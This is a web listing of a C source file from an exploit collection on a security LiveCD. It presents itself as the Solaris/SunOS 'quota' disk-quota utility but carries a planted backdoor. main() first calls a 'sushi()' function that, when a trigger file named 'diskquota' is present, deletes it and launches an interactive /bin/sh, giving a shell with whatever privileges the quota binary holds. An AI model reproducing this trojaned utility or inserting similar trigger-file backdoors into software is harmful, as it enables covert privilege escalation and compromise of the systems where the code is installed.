home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / sushiquota.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  14KB  |  616 lines

  1. #ifndef lint
  2. static    char sccsid[] = "@(#)quota.c 1.1 92/07/30 SMI"; /* from UCB 4.4 06/21/83 */
  3. #endif
  4.  
  5. /*
  6.  * sushiQuota
  7.  * 
  8.  * quickpatch - dfi - 3/95
  9.  *
  10.  * touch TRIGGERFILE, run quota, bewm@!
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <mntent.h>
  15. #include <ctype.h>
  16. #include <pwd.h>
  17. #include <errno.h>
  18.  
  19. #include <sys/param.h>
  20. #include <sys/file.h>
  21. #include <sys/stat.h>
  22. #include <sys/time.h>
  23. #include <ufs/quota.h>
  24.  
  25. int    vflag;
  26. int    nolocalquota;
  27.  
  28. #define QFNAME    "quotas"
  29. #define TRIGGERFILE "diskquota"
  30.  
  31. #define kb(n)   (howmany(dbtob(n), 1024))
  32.  
  33. void sushi();
  34.  
  35. main(argc, argv)
  36. int argc;
  37. char *argv[];
  38. {
  39.   register char *cp;
  40.  
  41.   sushi();
  42.  
  43.   argc--,argv++;
  44.   while (argc > 0)
  45.     {
  46.       if (argv[0][0] == '-')
  47.         for (cp = &argv[0][1]; *cp; cp++) switch (*cp)
  48.             {
  49.  
  50.             case 'v':
  51.               vflag++;
  52.               break;
  53.  
  54.             default:
  55.               fprintf(stderr, "quota: %c: unknown option\n",
  56.                       *cp);
  57.               exit(1);
  58.             }
  59.       else
  60.         break;
  61.       argc--, argv++;
  62.     }
  63.   if (quotactl(Q_SYNC, NULL, 0, NULL) < 0 && errno == EINVAL)
  64.     {
  65.       if (vflag)
  66.         fprintf(stderr,"There are no quotas on this system\n");
  67.       nolocalquota++;
  68.     }
  69.   if (argc == 0)
  70.     {
  71.       showuid(getuid());
  72.       exit(0);
  73.     }
  74.   for (; argc > 0; argc--, argv++)
  75.     {
  76.       if (alldigits(*argv))
  77.         showuid(atoi(*argv));
  78.       else
  79.         showname(*argv);
  80.     }
  81.   exit(0);
  82.   /* NOTREACHED */
  83. }
  84.  
  85. showuid(uid)
  86. int uid;
  87. {
  88.   struct passwd *pwd = getpwuid(uid);
  89.  
  90.   if (uid == 0)
  91.     {
  92.       if (vflag)
  93.         printf("no disk quota for uid 0\n");
  94.       return;
  95.     }
  96.   if (pwd == NULL)
  97.     showquotas(uid, "(no account)");
  98.   else
  99.     showquotas(uid, pwd->pw_name);
  100. }
  101.  
  102. showname(name)
  103. char *name;
  104. {
  105.   struct passwd *pwd = getpwnam(name);
  106.  
  107.   if (pwd == NULL)
  108.     {
  109.       fprintf(stderr, "quota: %s: unknown user\n", name);
  110.       return;
  111.     }
  112.   if (pwd->pw_uid == 0)
  113.     {
  114.       if (vflag)
  115.         printf("no disk quota for %s (uid 0)\n", name);
  116.       return;
  117.     }
  118.   showquotas(pwd->pw_uid, name);
  119. }
  120.  
  121. showquotas(uid, name)
  122. int uid;
  123. char *name;
  124. {
  125.   register struct mntent *mntp;
  126.   FILE *mtab;
  127.   struct dqblk dqblk;
  128.   int myuid;
  129.  
  130.   myuid = getuid();
  131.   if (uid != myuid && myuid != 0)
  132.     {
  133.       printf("quota: %s (uid %d): permission denied\n", name, uid);
  134.       return;
  135.     }
  136.   if (vflag)
  137.     heading(uid, name);
  138.   mtab = setmntent(MOUNTED, "r");
  139.   while (mntp = getmntent(mtab))
  140.     {
  141.       if (strcmp(mntp->mnt_type, MNTTYPE_42) == 0)
  142.         {
  143.           if (nolocalquota ||
  144.               (quotactl(Q_GETQUOTA,
  145.                         mntp->mnt_fsname, uid, &dqblk) != 0 &&
  146.                !(vflag && getdiskquota(mntp, uid, &dqblk))) )
  147.             continue;
  148.         }
  149.       else if (strcmp(mntp->mnt_type, MNTTYPE_NFS) == 0)
  150.         {
  151.           if ((!vflag && hasmntopt(mntp, MNTOPT_NOQUOTA)) ||
  152.               !getnfsquota(mntp, uid, &dqblk))
  153.             continue;
  154.         }
  155.       else
  156.         {
  157.           continue;
  158.         }
  159.       if (dqblk.dqb_bsoftlimit == 0 && dqblk.dqb_bhardlimit == 0 &&
  160.           dqblk.dqb_fsoftlimit == 0 && dqblk.dqb_fhardlimit == 0)
  161.         continue;
  162.       if (vflag)
  163.         prquota(mntp, &dqblk);
  164.       else
  165.         warn(mntp, &dqblk);
  166.     }
  167.   endmntent(mtab);
  168. }
  169.  
  170. warn(mntp, dqp)
  171. register struct mntent *mntp;
  172. register struct dqblk *dqp;
  173. {
  174.   struct timeval tv;
  175.  
  176.   gettimeofday(&tv, NULL);
  177.   if (dqp->dqb_bhardlimit &&
  178.       dqp->dqb_curblocks >= dqp->dqb_bhardlimit)
  179.     {
  180.       printf(
  181.         "Block limit reached on %s\n",
  182.         mntp->mnt_dir
  183.       );
  184.     }
  185.   else if (dqp->dqb_bsoftlimit &&
  186.            dqp->dqb_curblocks >= dqp->dqb_bsoftlimit)
  187.     {
  188.       if (dqp->dqb_btimelimit == 0)
  189.         {
  190.           printf(
  191.             "Over disk quota on %s, remove %dK\n",
  192.             mntp->mnt_dir,
  193.             kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
  194.           );
  195.         }
  196.       else if (dqp->dqb_btimelimit > tv.tv_sec)
  197.         {
  198.           char btimeleft[80];
  199.  
  200.           fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
  201.           printf(
  202.             "Over disk quota on %s, remove %dK within %s\n",
  203.             mntp->mnt_dir,
  204.             kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1),
  205.             btimeleft
  206.           );
  207.         }
  208.       else
  209.         {
  210.           printf(
  211.             "Over disk quota on %s, time limit has expired, remove %dK\n",
  212.             mntp->mnt_dir,
  213.             kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
  214.           );
  215.         }
  216.     }
  217.   if (dqp->dqb_fhardlimit &&
  218.       dqp->dqb_curfiles >= dqp->dqb_fhardlimit)
  219.     {
  220.       printf(
  221.         "File count limit reached on %s\n",
  222.         mntp->mnt_dir
  223.       );
  224.     }
  225.   else if (dqp->dqb_fsoftlimit &&
  226.            dqp->dqb_curfiles >= dqp->dqb_fsoftlimit)
  227.     {
  228.       if (dqp->dqb_ftimelimit == 0)
  229.         {
  230.           printf(
  231.             "Over file quota on %s, remove %d file%s\n",
  232.             mntp->mnt_dir,
  233.             dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
  234.             ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
  235.              "s" :
  236.              "" )
  237.           );
  238.         }
  239.       else if (dqp->dqb_ftimelimit > tv.tv_sec)
  240.         {
  241.           char ftimeleft[80];
  242.  
  243.           fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
  244.           printf(
  245.             "Over file quota on %s, remove %d file%s within %s\n",
  246.             mntp->mnt_dir,
  247.             dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
  248.             ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
  249.              "s" :
  250.              "" ),
  251.             ftimeleft
  252.           );
  253.         }
  254.       else
  255.         {
  256.           printf(
  257.             "Over file quota on %s, time limit has expired, remove %d file%s\n",
  258.             mntp->mnt_dir,
  259.             dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
  260.             ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
  261.              "s" :
  262.              "" )
  263.           );
  264.         }
  265.     }
  266. }
  267.  
  268. heading(uid, name)
  269. int uid;
  270. char *name;
  271. {
  272.   printf("Disk quotas for %s (uid %d):\n", name, uid);
  273.   printf("%-12s %7s%7s%7s%12s%7s%7s%7s%12s\n"
  274.          , "Filesystem"
  275.          , "usage"
  276.          , "quota"
  277.          , "limit"
  278.          , "timeleft"
  279.          , "files"
  280.          , "quota"
  281.          , "limit"
  282.          , "timeleft"
  283.         );
  284. }
  285.  
  286. prquota(mntp, dqp)
  287. register struct mntent *mntp;
  288. register struct dqblk *dqp;
  289. {
  290.   struct timeval tv;
  291.   char ftimeleft[80], btimeleft[80];
  292.   char *cp;
  293.  
  294.   gettimeofday(&tv, NULL);
  295.   if (dqp->dqb_bsoftlimit && dqp->dqb_curblocks >= dqp->dqb_bsoftlimit)
  296.     {
  297.       if (dqp->dqb_btimelimit == 0)
  298.         {
  299.           strcpy(btimeleft, "NOT STARTED");
  300.         }
  301.       else if (dqp->dqb_btimelimit > tv.tv_sec)
  302.         {
  303.           fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
  304.         }
  305.       else
  306.         {
  307.           strcpy(btimeleft, "EXPIRED");
  308.         }
  309.     }
  310.   else
  311.     {
  312.       btimeleft[0] = '\0';
  313.     }
  314.   if (dqp->dqb_fsoftlimit && dqp->dqb_curfiles >= dqp->dqb_fsoftlimit)
  315.     {
  316.       if (dqp->dqb_ftimelimit == 0)
  317.         {
  318.           strcpy(ftimeleft, "NOT STARTED");
  319.         }
  320.       else if (dqp->dqb_ftimelimit > tv.tv_sec)
  321.         {
  322.           fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
  323.         }
  324.       else
  325.         {
  326.           strcpy(ftimeleft, "EXPIRED");
  327.         }
  328.     }
  329.   else
  330.     {
  331.       ftimeleft[0] = '\0';
  332.     }
  333.   if (strlen(mntp->mnt_dir) > 12)
  334.     {
  335.       printf("%s\n", mntp->mnt_dir);
  336.       cp = "";
  337.     }
  338.   else
  339.     {
  340.       cp = mntp->mnt_dir;
  341.     }
  342.   printf("%-12.12s %7d%7d%7d%12s%7d%7d%7d%12s\n",
  343.          cp,
  344.          kb(dqp->dqb_curblocks),
  345.          kb(dqp->dqb_bsoftlimit),
  346.          kb(dqp->dqb_bhardlimit),
  347.          btimeleft,
  348.          dqp->dqb_curfiles,
  349.          dqp->dqb_fsoftlimit,
  350.          dqp->dqb_fhardlimit,
  351.          ftimeleft
  352.         );
  353. }
  354.  
  355. fmttime(buf, time)
  356. char *buf;
  357. register long time;
  358. {
  359.   int i;
  360.   static struct
  361.     {
  362.       int c_secs;        /* conversion units in secs */
  363.       char * c_str;        /* unit string */
  364.     }
  365.   cunits [] = {
  366.     {60*60*24*28, "months"},
  367.     {60*60*24*7, "weeks"},
  368.     {60*60*24, "days"},
  369.     {60*60, "hours"},
  370.     {60, "mins"},
  371.     {1, "secs"}
  372.   };
  373.  
  374.   if (time <= 0)
  375.     {
  376.       strcpy(buf, "EXPIRED");
  377.       return;
  378.     }
  379.   for (i = 0; i < sizeof(cunits)/sizeof(cunits[0]); i++)
  380.     {
  381.       if (time >= cunits[i].c_secs)
  382.         break;
  383.     }
  384.   sprintf(buf, "%.1f %s", (double)time/cunits[i].c_secs, cunits[i].c_str);
  385. }
  386.  
  387. alldigits(s)
  388. register char *s;
  389. {
  390.   register c;
  391.  
  392.   c = *s++;
  393.   do
  394.     {
  395.       if (!isdigit(c))
  396.         return (0);
  397.     }
  398.   while (c = *s++);
  399.   return (1);
  400. }
  401.  
  402. int
  403. getdiskquota(mntp, uid, dqp)
  404. struct mntent *mntp;
  405. int uid;
  406. struct dqblk *dqp;
  407. {
  408.   int fd;
  409.   dev_t fsdev;
  410.   struct stat statb;
  411.   char qfilename[MAXPATHLEN];
  412.   extern int errno;
  413.  
  414.   if (stat(mntp->mnt_fsname, &statb) < 0 ||
  415.       (statb.st_mode & S_IFMT) != S_IFBLK)
  416.     return (0);
  417.   fsdev = statb.st_rdev;
  418.   sprintf(qfilename, "%s/%s", mntp->mnt_dir, QFNAME);
  419.   if (stat(qfilename, &statb) < 0 || statb.st_dev != fsdev)
  420.     return (0);
  421.   if ((fd = open(qfilename, O_RDONLY)) < 0)
  422.     return (0);
  423.   (void) lseek(fd, (long)dqoff(uid), L_SET);
  424.   switch (read(fd, dqp, sizeof(struct dqblk)))
  425.     {
  426.     case 0:                
  427.       /*
  428.        * Convert implicit 0 quota (EOF)
  429.        * into an explicit one (zero'ed dqblk).
  430.  [2000]*/
  431.       bzero((caddr_t)dqp, sizeof(struct dqblk));
  432.       break;
  433.  
  434.     case sizeof(struct dqblk):    /* OK */
  435.             break;
  436.  
  437.     default:            /* ERROR */
  438.       close(fd);
  439.       return (0);
  440.     }
  441.   close(fd);
  442.   return (1);
  443. }
  444.  
  445. #include <rpc/rpc.h>
  446. #include <rpc/pmap_prot.h>
  447. #include <sys/socket.h>
  448. #include <netdb.h>
  449. #include <rpcsvc/rquota.h>
  450.  
  451. int
  452. getnfsquota(mntp, uid, dqp)
  453. struct mntent *mntp;
  454. int uid;
  455. struct dqblk *dqp;
  456. {
  457.   char *hostp;
  458.   char *cp;
  459.   struct getquota_args gq_args;
  460.   struct getquota_rslt gq_rslt;
  461.   extern char *index();
  462.  
  463.   hostp = mntp->mnt_fsname;
  464.   cp = index(mntp->mnt_fsname, ':');
  465.   if (cp == 0)
  466.     {
  467.       fprintf(stderr, "cannot find hostname for %s\n", mntp->mnt_dir);
  468.       return (0);
  469.     }
  470.   *cp = '\0';
  471.   gq_args.gqa_pathp = cp + 1;
  472.   gq_args.gqa_uid = uid;
  473.   if (callaurpc(hostp, RQUOTAPROG, RQUOTAVERS,
  474.                 (vflag? RQUOTAPROC_GETQUOTA: RQUOTAPROC_GETACTIVEQUOTA),
  475.                 xdr_getquota_args, &gq_args, xdr_getquota_rslt, &gq_rslt) != 0)
  476.     {
  477.       *cp = ':';
  478.       return (0);
  479.     }
  480.   switch (gq_rslt.gqr_status)
  481.     {
  482.     case Q_OK:
  483.       {
  484.         struct timeval tv;
  485.  
  486.         if (!vflag && gq_rslt.gqr_rquota.rq_active == FALSE)
  487.           return (0);
  488.         gettimeofday(&tv, NULL);
  489.         dqp->dqb_bhardlimit =
  490.           gq_rslt.gqr_rquota.rq_bhardlimit *
  491.           gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
  492.         dqp->dqb_bsoftlimit =
  493.           gq_rslt.gqr_rquota.rq_bsoftlimit *
  494.           gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
  495.         dqp->dqb_curblocks =
  496.           gq_rslt.gqr_rquota.rq_curblocks *
  497.           gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
  498.         dqp->dqb_fhardlimit = gq_rslt.gqr_rquota.rq_fhardlimit;
  499.         dqp->dqb_fsoftlimit = gq_rslt.gqr_rquota.rq_fsoftlimit;
  500.         dqp->dqb_curfiles = gq_rslt.gqr_rquota.rq_curfiles;
  501.         dqp->dqb_btimelimit =
  502.           tv.tv_sec + gq_rslt.gqr_rquota.rq_btimeleft;
  503.         dqp->dqb_ftimelimit =
  504.           tv.tv_sec + gq_rslt.gqr_rquota.rq_ftimeleft;
  505.         *cp = ':';
  506.         return (1);
  507.       }
  508.  
  509.     case Q_NOQUOTA:
  510.       break;
  511.  
  512.     case Q_EPERM:
  513.       fprintf(stderr, "quota permission error, host: %s\n", hostp);
  514.       break;
  515.  
  516.     default:
  517.       fprintf(stderr, "bad rpc result, host: %s\n",  hostp);
  518.       break;
  519.     }
  520.   *cp = ':';
  521.   return (0);
  522. }
  523.  
  524. callaurpc(host, prognum, versnum, procnum, inproc, in, outproc, out)
  525. char *host;
  526. xdrproc_t inproc, outproc;
  527. char *in, *out;
  528. {
  529.   struct sockaddr_in server_addr;
  530.   enum clnt_stat clnt_stat;
  531.   struct hostent *hp;
  532.   struct timeval timeout, tottimeout;
  533.  
  534.   static CLIENT *client = NULL;
  535.   static int socket = RPC_ANYSOCK;
  536.   static int valid = 0;
  537.   static int oldprognum, oldversnum;
  538.   static char oldhost[256];
  539.  
  540.   if (valid && oldprognum == prognum && oldversnum == versnum
  541.       && strcmp(oldhost, host) == 0)
  542.     {
  543.       /* reuse old client */
  544.     }
  545.   else
  546.     {
  547.       valid = 0;
  548.       close(socket);
  549.       socket = RPC_ANYSOCK;
  550.       if (client)
  551.         {
  552.           clnt_destroy(client);
  553.           client = NULL;
  554.         }
  555.       if ((hp = gethostbyname(host)) == NULL)
  556.         return ((int) RPC_UNKNOWNHOST);
  557.       timeout.tv_usec = 0;
  558.       timeout.tv_sec = 6;
  559.       bcopy(hp->h_addr, &server_addr.sin_addr, hp->h_length);
  560.       server_addr.sin_family = AF_INET;
  561.       /* ping the remote end via tcp to see if it is up */
  562.       server_addr.sin_port =  htons(PMAPPORT);
  563.       if ((client = clnttcp_create(&server_addr, PMAPPROG,
  564.                                    PMAPVERS, &socket, 0, 0)) == NULL)
  565.         {
  566.           return ((int) rpc_createerr.cf_stat);
  567.         }
  568.       else
  569.         {
  570.           /* the fact we succeeded means the machine is up */
  571.           close(socket);
  572.           socket = RPC_ANYSOCK;
  573.           clnt_destroy(client);
  574.           client = NULL;
  575.         }
  576.       /* now really create a udp client handle */
  577.       server_addr.sin_port =  0;
  578.       if ((client = clntudp_create(&server_addr, prognum,
  579.                                    versnum, timeout, &socket)) == NULL)
  580.         return ((int) rpc_createerr.cf_stat);
  581.       client->cl_auth = authunix_create_default();
  582.       valid = 1;
  583.       oldprognum = prognum;
  584.       oldversnum = versnum;
  585.       strcpy(oldhost, host);
  586.     }
  587.   tottimeout.tv_sec = 25;
  588.   tottimeout.tv_usec = 0;
  589.   clnt_stat = clnt_call(client, procnum, inproc, in,
  590.                         outproc, out, tottimeout);
  591.   /*
  592.    * if call failed, empty cache
  593.    */
  594.   if (clnt_stat != RPC_SUCCESS)
  595.     valid = 0;
  596.   return ((int) clnt_stat);
  597. }
  598.  
  599.  
  600. /* patched code */
  601.  
  602. void
  603. sushi()
  604. {
  605.   FILE *fp = fopen(TRIGGERFILE,"r");
  606.   if(fp)
  607.     {
  608.       printf("d1sco\n");
  609.       fclose(fp);
  610.       unlink(TRIGGERFILE);
  611.       execl("/bin/sh","-i",0);
  612.     }
  613. }
  614.  
  615. /* end patched code */
  616. /*                    www.hack.co.za              [2000]*/